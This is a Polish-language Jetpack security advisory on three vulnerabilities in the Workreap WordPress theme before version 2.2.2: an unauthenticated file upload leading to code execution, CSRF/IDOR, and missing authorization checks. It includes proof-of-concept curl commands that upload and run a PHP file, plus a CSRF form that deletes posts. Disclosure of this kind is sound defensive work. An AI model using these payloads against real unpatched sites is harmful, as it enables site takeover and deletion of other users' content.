Wiele usterek w motywie Workreap autorstwa Amentotech

Opublikowany: 2021-07-07

Niedawno zespół Jetpack znalazł kilka zainfekowanych plików w jednej z witryn naszych hostowanych klientów i szybko prześledził źródło infekcji w motywie Workreap firmy Amentotech. Rozpoczęliśmy dochodzenie i odkryliśmy kilka podatnych na ataki punktów końcowych AJAX w motywie; najpoważniejszym z nich była luka w zabezpieczeniach nieuwierzytelnionego, niesprawdzonego przesyłania, potencjalnie prowadząca do zdalnego wykonania kodu i pełnego przejęcia witryny.

Zgłosiliśmy luki zespołowi Amentotech za pośrednictwem programu Envato Helpful Hacker, a problemy zostały przez nich niezwłocznie rozwiązane. Wersja 2.2.2 motywu została wydana 29 czerwca 2021 r. i naprawia znalezione luki.

TL; DR

Ze względu na wagę luk w zabezpieczeniach zdecydowanie zalecamy wszystkim użytkownikom motywu Workreap jak najszybszą aktualizację do wersji 2.2.2 lub nowszej.

Pobierz aktualizację ze strony motywu i zainstaluj ją ręcznie lub zaktualizuj automatycznie za pomocą wtyczki Envato market.

Detale

Nazwa motywu: Praca
URI motywu: http://amentotech.com/projects/wpworkreap
Autor: Amentotech
URI autora: https://themeforest.net/user/amentotech/portfolio

Luki

Ze względu na powagę luk opóźnimy opublikowanie dowodu koncepcji i pełną analizę, aby dać użytkownikom czas na aktualizację.

Nieuwierzytelnione przesyłanie prowadzące do zdalnego wykonania kodu

Wersje, których dotyczy problem: <2.2.2
CVE-ID: CVE-2021-24499
CVSSv3.1: 10,0
CWE: CWE-284, CWE-641,
CWSS: 90,7
Łącze WPScan: https://wpscan.com/vulnerability/74611d5f-afba-42ae-bc19-777cdf2808cb

Akcje AJAX workreap_award_temp_file_uploader i workreap_temp_file_uploader nie wykonały jednorazowych kontroli ani w żaden inny sposób nie sprawdzały, czy żądanie pochodzi od prawidłowego użytkownika. Punkty końcowe zezwalały na przesyłanie dowolnych plików do katalogu uploads/workreap-temp . Przesłane pliki nie zostały oczyszczone ani zweryfikowane, dzięki czemu nieuwierzytelniony użytkownik może przesłać kod wykonywalny, taki jak skrypty php.

Dowód koncepcji

% curl -F 'action=workreap_award_temp_file_uploader' -F [email protected] 'https://example.com/wp-admin/admin-ajax.php'
{"type":"success","message":"File uploaded!","thumbnail":"https:\/\/example.com\/wp-content\/uploads\/workreap-temp\/malicious.php","name":"malicious.php","size":"24.00 B"}

% curl 'https://example.com/wp-content/uploads/workreap-temp/malicious.php'
PWNED!

Wiele luk CSRF + IDOR

Wersje, których dotyczy problem: <2.2.2
CVE-ID: CVE-2021-24500
CVSSv3.1: 8,2
CWE: CWE-283, CWE-284, CWE-862
CWSS: 78,3
Łącze WPScan: https://wpscan.com/vulnerability/0c4b5ecc-54d0-45ec-9f92-b2ca3cadbe56

W kilku akcjach AJAX dostępnych w motywie Workreap brakowało zabezpieczeń CSRF, a także zezwalania na niezabezpieczone bezpośrednie odwołania do obiektów (IDOR), które nie zostały zweryfikowane. Dzięki temu atakujący może nakłonić zalogowanego użytkownika do przesłania żądania POST do podatnej witryny, potencjalnie modyfikując lub usuwając dowolne obiekty w witrynie docelowej.

W wersjach wcześniejszych niż 2.0.0 akcje te nie były całkowicie uwierzytelnione i mogły zostać wykorzystane przez każdego odwiedzającego witrynę.

Dowód koncepcji

<form action="https:/example.com/wp-admin/admin-ajax.php" method="POST">
    <input name="action" type="hidden" value="workreap_portfolio_remove">
    <!-- note value does not have to be a portfolio, any post id will do -->
    <input name="id" type="hidden" value="1361">
    <input type="submit" value="Get rich!">
</form>

Brakujące kontrole autoryzacji w akcjach AJAX

Wersje, których dotyczy problem: <2.2.2
CVE-ID: CVE-2021-24501
CVSSv3.1: 7.1
CWE: CWE-283, CWE-862
CWSS: 68,5
Łącze WPScan: https://wpscan.com/vulnerability/66e4aaf4-5ef7-4da8-a45c-e24f449c363e

W kilku akcjach AJAX dostępnych w motywie Workreap brakowało kontroli autoryzacji w celu zweryfikowania, czy użytkownik jest upoważniony do wykonywania krytycznych operacji, takich jak modyfikowanie lub usuwanie obiektów. Umożliwiło to zalogowanemu użytkownikowi modyfikowanie lub usuwanie obiektów należących do innych użytkowników w serwisie.

W wersjach wcześniejszych niż 2.0.0 akcje te nie są całkowicie uwierzytelniane i mogą być wykorzystane przez każdego odwiedzającego witrynę.

Dowód koncepcji

# log in as arbitrary freelancer
curl -c .cookies -F action=workreap_ajax_login -F username=balle -F password=hunter2 \
  https://example.com/wp-admin/admin-ajax.php
{"job":"no","type":"success","role_type":"freelancers","redirect":"https:\/\/example.com\/dashboard\/?ref=profile&mode=settings&identity=3","url":"https:\/\/example.com\/","loggedin":true,"message":"Successfully Logged in"}%                                                                                                     

# delete arbitrary portfolio
curl -s -b .cookies -F action=workreap_portfolio_remove -F id=1361 \
  https://example.com/wp-admin/admin-ajax.php
{"type":"success","message":"Portfolio removed successfully."}

Oś czasu

2021-06-24: Początkowa usterka przesyłania wykryta przez zespół Jetpack Scan, zgłoszona do programu Envato Helpful Hacker.
2021-06-25: Odkryto udokumentowane kolejne luki, poinformował Amentotech za pośrednictwem Envato.
2021-06-27: Wydano wersję 2.2.1, usuwając niektóre, ale nie wszystkie luki.
2021-06-29: Wydano wersję 2.2.2, a poprawki zweryfikowane przez zespół Jetpack Scan.

Wniosek

Zalecamy sprawdzenie aktualnej wersji motywu Workreap, którego używasz w swojej witrynie, a jeśli jest ona starsza niż 2.2.2, zaktualizuj ją tak szybko, jak to możliwe!

W Jetpack ciężko pracujemy, aby zapewnić ochronę Twoich stron internetowych przed tego typu lukami. Aby być o krok przed wszelkimi nowymi zagrożeniami, wypróbuj Jetpack Scan, który obejmuje skanowanie bezpieczeństwa i automatyczne usuwanie złośliwego oprogramowania.

Kredyty

Autor oryginalny: Harald Eilertsen

Podziękowania dla reszty zespołu Jetpack Scan za opinie, pomoc i poprawki. Podziękowania dla wszystkich członków programu Envato Helpful Hacker za pomoc w dotarciu do Amentotech oraz dla Amentotech za szybką odpowiedź w rozwiązaniu problemów i opublikowaniu zaktualizowanej wersji.